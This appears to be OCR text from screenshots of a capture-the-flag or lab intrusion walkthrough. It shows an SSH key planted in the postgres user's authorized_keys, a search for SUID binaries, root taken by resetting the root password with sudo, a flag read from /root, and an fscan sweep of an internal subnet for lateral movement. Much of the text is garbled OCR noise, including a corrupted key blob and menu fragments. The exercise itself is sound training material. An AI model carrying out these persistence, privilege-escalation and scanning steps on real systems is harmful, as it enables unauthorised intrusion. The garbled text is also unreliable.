AARAB3NZAC lyc 2EAMAADAQABAAABEDCS0] jmGoes rrbUekwis L1 JGENEFIrCoqCeSAZUVEZ/61GTGTRapIMe shex i 7TZAHUS AT s TIHmT

— P postgres#iEEE, HEiE—Tfrp, 550 postgres/postgresit NEIERE

g= P
%0
BEnEG

AKAAB3NzaClyc2 EAAAADAQABAAABEQCSO] jmGoec rrblekws 1] JGGNEFIrCoqCeSAZuvVgZ /6 IGTGTRQapIMeshexi7ZAHUSaIqs TOHMIHGIBEUZIh3pkwBZS j4Mpbood3ghH29 Tk s1QEUQSZIEGTGhnHY 1T

+BkxudaMBTalc BudMcVeh7 /1kistO1PA]SVGG7BdPquren59 zRAGNLsKmNBE

w9dei jveiquOsakfdaquAVKeW+NERKZdbEIKt I g24XaWsuiKnkF 2xSER1PRCGAUDIRE /MEENLUZ TGUSGlgFdSCSBD2yMxUpO2MnhFgvkdd gt KEADBKEQEwEHE L 16GFQRCY 13Ut/ Lt BOG6iNROgLIeHNDLEHPL

+7vh3KxGe/tItvIb2TLEN/ LAgmxOUl ZWRIWi

VPS5 1by D

1GrtrnrwF 75/ 2-

3
aUcBudHcVehT/1kist01PAI SVGG7BAPG) ijvBigquosdk

leImzzGRiTLY/mHLE

+NERKZAbEKTIZZAN S UKAKFIXSER1PICGAUDIRE MEENLUZTGUSE1gFds CBDRYMXUPOMTHF gvhdd EEKEADBKEQEWEHE L 16GFQRCY J3UL /L tEE6S INROELIHWOLEHPLEOPXTbKANUZYK T IDBY $VXF IrGKh1hrtq s+EP1KBMER

#+1NB32PK/ iSkwvY/CABESKEMG3Tv+8= jyzhofWIN-EICACAZINIT
" > [home/postgres/.ssh/authorized_keys'

» OK
> MiE: 0.837s

passwdBsuidti R, BHiZtKrootZiy, tI#EmMrootZflag

FriEHaL 0.038s

- ]

=
= 1
@00 E
emirE - ()

CASE ¢iow
@
COMMEN’
FOR flow

IF...ELSE...

INSERT Sy

‘ LOOP fiow

SELECT Sy

UPDATE S

WHILE 7

[+ E ]



[postgres@localhost ~]$ find / -perm -u=s —-type f 2>/dev/null
/usr/bin/chfn

/usr/bin/chsh

/usr/bin/chage

/usr/bin/gpasswd

/usr/bin/newgrp

/usr/bin/su

/usr/bin/mount

/usr/bin/umount

/usr/bin/sudo

/usr/bin/pkexec

/usr/bin/crontab

/usr/bin/passwd

/usr/sbin/pam_timestamp_check

/usr/sbin/unix_chkpwd

/usr/sbin/usernetctl

/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/1libexec/dbus-1/dbus—-daemon—-launch—helper
[postgres@localhost ~]$ 1s -1lh /etc/passwd

-rw-r—--r——. 1 root root 1.2K Jul 29 10:30 /etc/passwd
[postgres@localhost ~]$ passwd root

passwd: Only root can specify a user name.
[postgres@localhost ~]$ sudo passwd root

Changing password for user root.

New password:

BAD PASSWORD: The password is shorter than 8 characters
Retype new password:

passwd: all authentication tokens updated successfully.
[postgres@localhost ~]$ su root

Password:

[root@localhost postgres]# cat /root/flag
[root@localhost postgres]# cat /root/flag
flag{hqtQIKgAONrXojT3ZWkUpGbF2L0JEas8} [root@localhost postgres]#

BE, XatlEZMF<




[root@localhost postgres]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450
inet 192.168.188.223 netmask 255.255.255.0 broadcast 192.168.188.255
inet6 fe80::5054:26ff:fe65:58a9 prefixlen 64 scopeid 0x20<link>
ether 52:54:26:65:58:a9 txqueuelen 1000 (Ethernet)
RX packets 30638 bytes 9930630 (9.4 MiB)
RX errors © dropped @ overruns O frame 0
TX packets 275u4 bytes 3841354 (3.6 MiB)
TX errors ® dropped @ overruns @ carrier © collisions 0

ethl: flags=u4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450
inet 10.177.166.152 netmask 255.255.255.0 broadcast 10.177.166.255
inet6 fe80::5054:27ff:fe2e:cl3e prefixlen 64 scopeid 0x20<Llink>
ether 52:54:27:2e:ctd:3e txqueuelen 1000 (Ethernet)
RX packets 519 bytes 81046 (79.1 KiB)
RX errors © dropped © overruns 0 frame 0
TX packets 1314 bytes 104661 (102.2 KiB)
TX errors @ dropped 0 overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 3880 bytes 1109783 (1.0 MiB)
RX errors © dropped @ overruns O frame 0
TX packets 3880 bytes 1109783 (1.0 MiB)
TX errors @ dropped O overruns @ carrier © collisions @

AERE—WETRE—aHEF 71220
[root@localhost postgres]# ./fscan -h 10.177.166.1/2u

/ _\ el | __
/NI N __| N LT
_____ |V W G I GO I O G
|___/N\___[_1 N ZINC_Z TN\

4

fscan version: 1.8.

<

start infoscan

(icmp) Target 10.177.166.152 is alive
(icmp) Target 10.177.166.188 is alive
[*] Icmp alive hosts len is: 2
10.177.166.152:5432 open
10.177.166.188:22 open
10.177.166.152:22 open

[*] alive ports len is: 3

start vulscan




